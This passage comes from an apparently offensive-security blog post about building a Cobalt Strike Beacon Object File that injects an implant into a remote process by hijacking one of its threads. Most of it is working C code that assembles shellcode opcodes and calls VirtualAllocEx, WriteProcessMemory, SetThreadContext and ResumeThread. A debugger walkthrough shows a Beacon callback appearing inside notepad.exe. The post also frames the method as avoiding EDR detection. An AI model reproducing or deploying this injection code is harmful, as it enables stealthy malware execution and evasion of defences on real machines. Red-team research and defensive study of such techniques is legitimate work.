and the next instructions in the NtContinue  routine would execute.

The next few instructions are a bit of a “hacky” method to pass the first parameter, a pointer
to our CONTEXT  record, to the NtContinue  function. We will use a call/pop  routine,
which is a very documented method and can be read about here and here. As we know, we
are required to place the first value, for our purposes, into the RCX register - per the

https://www.boozallen.com/c/insight/blog/finding-the-instruction-pointer.html
https://marcosvalle.github.io/osce/2018/05/06/JMP-CALL-POP-technique.html
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__fastcall  calling convention. This means we need to calculate the address of the
CONTEXT  record somehow. To do this, we actually use another near call instruction in order

to call the immediate byte after the call instruction.

// Near call instruction to call the address directly after, which is used to pop the 
pushed return address onto the stack with a RVA from the same page (call pushes 
return address onto the stack) 
ntContinue[i++] = 0xe8; 
ntContinue[i++] = 0x00; 
ntContinue[i++] = 0x00; 
ntContinue[i++] = 0x00; 
ntContinue[i++] = 0x00; 

The instruction this call  will execute is the immediate next instruction to be executed,
which will be a pop rcx  instruction added by us. Additionally the value of i  at this point is
saved into a new variable called contextOffset .

// The previous call instruction pushes a return address onto the stack 
// The return address will be the address, in memory, of the upcoming pop rcx 
instruction 
// Since current execution is no longer at the beginning of the ntContinue routine, 
the distance to the CONTEXT record is no longer 64-bytes 
// The address of the pop rcx instruction will be used as the base for RVA 
calculations to determine the distance between the value in RCX (which will be the 
address of the 'pop rcx' instruction) to the CONTEXT record 
// Obtaining the current amount of bytes executed thus far 
int contextOffset = i; 

// __fastcall calling convention 
// NtContinue requires a pointer to a context record and an alert state (FALSE in 
this case) 
// pop rcx (get return address, which isn't needed for anything, into RCX for RVA 
calculations) 
ntContinue[i++] = 0x59; 

The purpose of this, is the call  instruction will push the address of the pop rcx
instruction onto the stack. This is the return address of this function. Since the next
instruction directly after the call  is pop rcx , it will place the value at RSP, which is now
the address of the pop rcx  instruction due to call POP_RCX_INSTRUCTION  pushing it
onto the stack, into the RCX register. This helps us, as now we have a memory address that
is relatively close the the CONTEXT  record, which will be located directly after the call to
NtContinue .

Now, as we know, the original offset of the CONTEXT  record from the very beginning of the
entire NtContinue  routine was 64-bytes. This is because we will copy the CONTEXT
record directly after the 64-byte BYTE  array, ntContinue , in our final buffer. Right now
however, if we add 64-bytes, however, to the value in RCX, we will overshoot the CONTEXT
record’s address. This is because we have executed quite a few instructions of the 64-byte
shellcode, meaning we are now closer to the CONTEXT  record, than we where when we
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started. To compensate for this, we can add the original 64-byte offset to the RCX register,
and then subtract the contextOffset  value, which represents the total amount of opcodes
executed up until that point. This will give us the correct distance from our current location to
the CONTEXT  record.

// The address of the pop rcx instruction is now in RCX 
// Adding the distance between the CONTEXT record and the current address in RCX
// add rcx, distance to CONTEXT record 
ntContinue[i++] = 0x48; 
ntContinue[i++] = 0x83; 
ntContinue[i++] = 0xc1; 

// Value to be added to RCX 
// The distance between the value in RCX (address of the 'pop rcx' instruction) and 
the CONTEXT record can be found by subtracting the amount of bytes executed up until 
the 'pop rcx' instruction and the original 64-byte offset 
ntContinue[i++] = sizeof(ntContinue) - contextOffset; 

This will place the address of the CONTEXT  record into the RCX register. If this doesn’t
compute, don’t worry. In a brief moment, we will step through everything inside of WinDbg to
visually put things together.

The next goal is to set the RaiseAlert  function argument to FALSE , which is a value of 0.
To do this, again, we will use bitwise XOR.

// xor rdx, rdx 
// Set to FALSE 
ntContinue[i++] = 0x48; 
ntContinue[i++] = 0x31; 
ntContinue[i++] = 0xd2; 

All that is left now is to call NtContinue ! Again, just like our call to CreateThread , we can
resolve the address of the API inside of the current process and pass the return value to the
remote process, as even though each process is mapped its own Windows DLLs, the
addresses are the same across the system.

The mov rax  instruction set is first.

// Place NtContinue into RAX 
ntContinue[i++] = 0x48; 
ntContinue[i++] = 0xb8; 

We then resolve the address of NtContinue , Beacon Object File style.
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// Although the thread is in a remote process, the Windows DLLs mapped to the Beacon 
process, although private, will correlate to the same virtual address 
unsigned long long ntcontinueAddress = 
KERNEL32$GetProcAddress(KERNEL32$GetModuleHandleA("ntdll"), "NtContinue"); 

// Error handling. If NtContinue cannot be resolved, abort 
if (ntcontinueAddress == NULL) 
{ 
 BeaconPrintf(CALLBACK_ERROR, "Error! Unable to resolve NtContinue.\n", 
KERNEL32$GetLastError()); 
} 

Using the custom mycopy  function, we then can copy the address of NtContinue  at the
correct index within the BYTE  array, based on the value of i .

// Copy the address of NtContinue function address to the NtContinue routine buffer 
mycopy(ntContinue + i, &ntcontinueAddress, sizeof(ntcontinueAddress)); 

// Update the counter with the correct offset the next bytes should be written to 
i += sizeof(ntcontinueAddress); 

At this point, things are as easy as just allocating some stack space for good measure and
calling the value in RAX, NtContinue !

// Allocate some space on the stack for the call to NtContinue 
// sub rsp, 0x20 
ntContinue[i++] = 0x48; 
ntContinue[i++] = 0x83; 
ntContinue[i++] = 0xec; 
ntContinue[i++] = 0x20; 

// call NtContinue 
ntContinue[i++] = 0xff; 
ntContinue[i++] = 0xd0; 

All there is left now is the stack alignment routine inside of the call to CreateThread ! This
alignment is to ensure the stack pointer is 16-byte aligned when the call from the
NtContinue  routine invokes the CreateThread  routine.

Will The Stars Align?

The following routine will perform bitwise AND with the stack pointer, to ensure a 16-byte
aligned RSP value inside of the CreateThread  routine, by clearing out the last 4 bits of the
address.

// Create 4 byte buffer to perform bitwise AND with RSP to ensure 16-byte aligned 
stack for the call to shellcode 
// and rsp, 0FFFFFFFFFFFFFFF0 
stackAlignment[0] = 0x48; 
stackAlignment[1] = 0x83; 
stackAlignment[2] = 0xe4; 
stackAlignment[3] = 0xf0; 
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After the stack alignment is completed, all there is left to do is invoke malloc  to create a
large buffer that will contain all of our custom routines, inject the final buffer, and call
SetThreadContext  and ResumeThread  to queue execution!

// Allocating memory for final buffer 
// Size of NtContinue routine, CONTEXT structure, stack alignment routine, and 
CreateThread routine 
PVOID shellcodeFinal = (PVOID)MSVCRT$malloc(sizeof(ntContinue) + sizeof(CONTEXT) + 
sizeof(stackAlignment) + sizeof(createThread)); 

// Copy NtContinue routine to final buffer 
mycopy(shellcodeFinal, ntContinue, sizeof(ntContinue)); 

// Copying CONTEXT structure, stack alignment routine, and CreateThread routine to 
the final buffer 
// Allocation is already a pointer (PVOID) - casting to a DWORD64 type, a 64-bit 
address, in order to write to the buffer at a desired offset 
// Using RtlMoveMemory for the CONTEXT structure to avoid casting to something other 
than a CONTEXT structure 
NTDLL$RtlMoveMemory((DWORD64)shellcodeFinal + sizeof(ntContinue), &cpuRegisters, 
sizeof(CONTEXT)); 
mycopy((DWORD64)shellcodeFinal + sizeof(ntContinue) + sizeof(CONTEXT), 
stackAlignment, sizeof(stackAlignment)); 
mycopy((DWORD64)shellcodeFinal + sizeof(ntContinue) + sizeof(CONTEXT) + 
sizeof(stackAlignment), createThread, sizeof(createThread)); 

// Declare a variable to represent the final length 
int finalLength = (int)sizeof(ntContinue) + (int)sizeof(CONTEXT) + 
sizeof(stackAlignment) + sizeof(createThread); 

Before moving on, notice the call to RtlMoveMemory  when it comes to copying the
CONTEXT  record to the buffer. This is due to mycopy  being prototyped to access the

source and destination buffers as char*  data types. However, RtlMoveMemory  is
prototyped to accept data types of VOID UNALIGNED , which indicates pretty much any data
type can be used, which is perfect for us as CONTEXT  is a structure, not a char* .

The above code creates a buffer with the size of our routines, and copies it into the routine at
the correct offsets, with the NtContinue  routine being copied first, followed by the
preserved CONTEXT  record of the hijacked thread, the stack alignment routine, and the
CreateThread  routine. After this, the shellcode is injected into the remote process.

First, VirtualAllocEx  is called again.
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// Inject the shellcode into the target process with read/write permissions 
PVOID allocateMemory = KERNEL32$VirtualAllocEx( 
 processHandle, 
 NULL, 
 finalLength, 
 MEM_RESERVE | MEM_COMMIT, 
 PAGE_EXECUTE_READWRITE 
);

if (allocateMemory == NULL) 
{ 
 BeaconPrintf(CALLBACK_ERROR, "Error! Unable to allocate memory in the remote 
process. Error: 0x%lx\n", KERNEL32$GetLastError()); 
} 

Secondly, WriteProcessMemory  is called to write the shellcode to the allocation.

// Write shellcode to the new allocation 
BOOL writeMemory = KERNEL32$WriteProcessMemory( 
 processHandle, 
 allocateMemory, 
 shellcodeFinal, 
 finalLength, 
 NULL 
);

if (!writeMemory) 
{ 
 BeaconPrintf(CALLBACK_ERROR, "Error! Unable to write memory to the buffer. Error: 
0x%llx\n", KERNEL32$GetLastError()); 
} 

After that, RSP and RIP are set before the call to SetThreadContext . RIP will point to our
final buffer and upon thread restoration, the value in RIP will be executed.

// Allocate stack space by subtracting the stack by 0x2000 bytes 
cpuRegisters.Rsp -= 0x2000; 

// Change RIP to point to our shellcode and typecast buffer to a DWORD64 because that 
is what a CONTEXT structure uses 
cpuRegisters.Rip = (DWORD64)allocateMemory; 

Notice that RSP is subtracted by 0x2000  bytes. @zerosum0x0’s blog post on
ThreadContinue  adopts this feature, to allow breathing room on the stack in order for code

to execute, and I decided to adopt it as well in order to avoid heavy troubleshooting.

After that, all there is left to do is to invoke SetThreadContext , ResumeThread , and
free !

SetThreadContext

https://zerosum0x0.blogspot.com/2017/07/threadcontinue-reflective-injection.html
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// Set RIP 
BOOL setRip = KERNEL32$SetThreadContext( 
 desiredThread, 
 &cpuRegisters 
);

// Error handling 
if (!setRip) 
{ 
 BeaconPrintf(CALLBACK_ERROR, "Error! Unable to set the target thread's RIP 
register. Error: 0x%lx\n", KERNEL32$GetLastError()); 
} 

ResumeThread

// Call to ResumeThread() 
DWORD resume = KERNEL32$ResumeThread( 
 desiredThread 
);

free

// Free the buffer used for the whole payload 
MSVCRT$free( 
 shellcodeFinal 
);

Additionally, you should always clean up handles in your code - but especially in Beacon
Object Files, as they are “sensitive”.

// Close handle 
KERNEL32$CloseHandle( 
 desiredThread 
);

// Close handle 
KERNEL32$CloseHandle( 
processHandle 
);

Debugger Time

Let’s use an instance of notepad.exe  as our target process and attach it in WinDbg.
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The PID we want to inject into is 7548  for our purposes. After loading our Aggressor Script
developed earlier, we can use the command cThreadHijack 7548 TESTING , where
TESTING  is the name of the HTTP listener Beacon will interact with.
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There we go, our BOF successfully ran. Now, let’s examine what we are working with in
WinDbg. As we can see, the address of our final buffer is shown in the Current RIP:
0x1f027f20000  output line. Let’s view this in WinDbg.
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Great! Everything seems to be in place. As is shown in the mov rax,offset
ntdll!NtContinue  instruction, we can see our NtContinue  routine. The beginning of the
NtContinue  routine should call the address of the stack alignment and CreateThread

shellcode, as mentioned earlier in this blog post. Let’s see what the address
0x000001f027f20510  references, which is the memory address being called.

Perfect! As we can see by the and rsp, 0FFFFFFFFFFFFFFFF0  instruction, along with the
address of KERNEL32!CreateThreadStub , the NtContinue  routine will first call the stack
alignment and CreateThread  routines. In this case, we are good to go! Let’s start now
walking through execution of the code.
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Upon SetThreadContext  being invoked, which changes the RIP register to execute our
shellcode, we can see that execution has reached the first call , which will invoke the stack
alignment and CreateThread  routines. Stepping through this call, as we know, will push a
return address onto the stack. As mentioned previously, this will be the address of that next
call 0x000001f027f2000a  instruction. When the CreateThread  routine returns, it will

return to this address. After stepping through the instruction, we can see that the address of
the next call  is pushed onto the stack.

Execution then reaches the bitwise AND instruction. As we can see from the above image,
and rsp, 0FFFFFFFFFFFFFFF0  is redundant, as the stack pointer is already 16-byte

aligned (the last 4 bits are already set to 0). Stepping through the bitwise XOR operations,
RCX and RDX are set to 0.
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As we know from the CreateThread  prototype, the lpStartAddress  parameter is a
pointer to our shellcode. Looking at the above image, we can see the third argument, which
will be loaded into R8, is 0x1f027ee0000 . Unassembling this address in the debugger
discloses this is our Beacon implant, which was injected earlier! TO verify this, you can
generate a raw Beacon stageless artifact in Cobalt Strike manually and run it through
hexdump  to verify the first few opcodes correspond.

After stepping through the instruction, the value is loaded into the R8 register. The next
instruction sets R9 to 0 via xor r9, r9 .
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Additionally, [RSP + 0x20] and [RSP + 0x28] are set to 0, by copying the value of R9, which
is now 0, to these locations. Here is what [RSP + 0x20] and [RSP + 0x28] look like before the
mov [rsp + 0x20], r9  and mov [rsp + 0x28], r9  instructions and after.
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After, CreateThread  is placed into RAX and is called. Note CreateThread  is actually
CreateThreadStub . This is because most former kernel32.dll  functions were placed in

a DLL called KERNELBASE.DLL . These “stub” functions essentially just redirect execution to
the correct KERNELBASE.dll  function.

Stepping over the function, with p  in WinDbg, places the CreateThread  return value, into
RAX - which is a handle to the local thread containing the Beacon implant.

After execution of our NtContinue  routine is complete, we will receive the Beacon callback
as a result of this thread.
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Additionally, we can see that RSP is set to the first “real” instruction of our NtContinue
routine. A ret  instruction, which is what is in RIP currently, will take the stack pointer (RSP)
and place it into RIP. Executing the return redirects execution back to the NtContinue
routine.

As we can see in the image above, the next call  instruction calls the pop rcx
instruction. This call  instruction, when executed, will push the address of the pop rcx
instruction onto the stack, as a return address.
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Executing the pop rcx  instruction, we can see that RCX now contains the address, in
memory, of the pop rcx  instruction. This will be the base address used in the RVA
calculations to resolve the address of the preserved CONTEXT  record.



38/40

To verify if our offset is correct, we can use .cxr  in WinDbg to divulge if the contiguous
memory block located at RCX + 0x36 is in fact a CONTEXT  record. 0x36  is chosen, as this
is the value currently that is about to be added to RCX, as seen a few screenshots ago.
Verifying with WinDbg, we can see this is the case.
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If this would not have been the correct location of the CONTEXT  record, this WinDbg
extension would have failed, as the memory block would not have been parsed correctly.

Now that we have verified our CONTEXT  record is in the correct place, we can perform the
RVA calculation to add the correct distance to the CONTEXT  record, meaning the pointer is
then stored in RCX, fulfilling the PCONTEXT  parameter of NtContinue .

Stepping through xor rdx, rdx , which sets the RaiseAlert  parameter of NtContinue
to FALSE , execution lands on the call rax  instruction, which will call NtContinue .

Pressing g  in the debugger then shows us quite a few of DLLs are mapped into
notepad.exe .
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This is the Beacon implant resolving needed DLLs for various function calls - meaning our
Beacon implant has been executed! If we go back into Cobalt Strike, we can see we now
have a Beacon in context of notepad.exe  with the same PID of 7548!

Additionally, you will notice on the victim machine that notepad.exe  is fully functional! We
have successfully forced a remote thread to execute our payload and restored it, all in one
go.

Final Thoughts

Obviously, this technique isn’t without its flaws. There are still IOCs for this technique,
including invoking SetThreadContext , amongst other things. However, this does avoid
invoking any sort of action that creates a remote thread, which is still useful in most
situations. This technique could be taken further, perhaps with invoking direct system calls
versus invoking these APIs, which are susceptible to hooking, with most EDR products.

Additionally, one thing to note is that since this technique suspends a thread and then
resumes it, you may have to wait a few moments to even a few minutes, in order for the
thread to get around to executing. Interacting with the process directly will force execution,
but targeting Windows processes that perform execution often is a good target also to avoid
long waits.

I had a lot of fun implementing this technique into a BOF and I am really glad I have a reason
to write more C code! Like always: peace, love, and positivity :-).


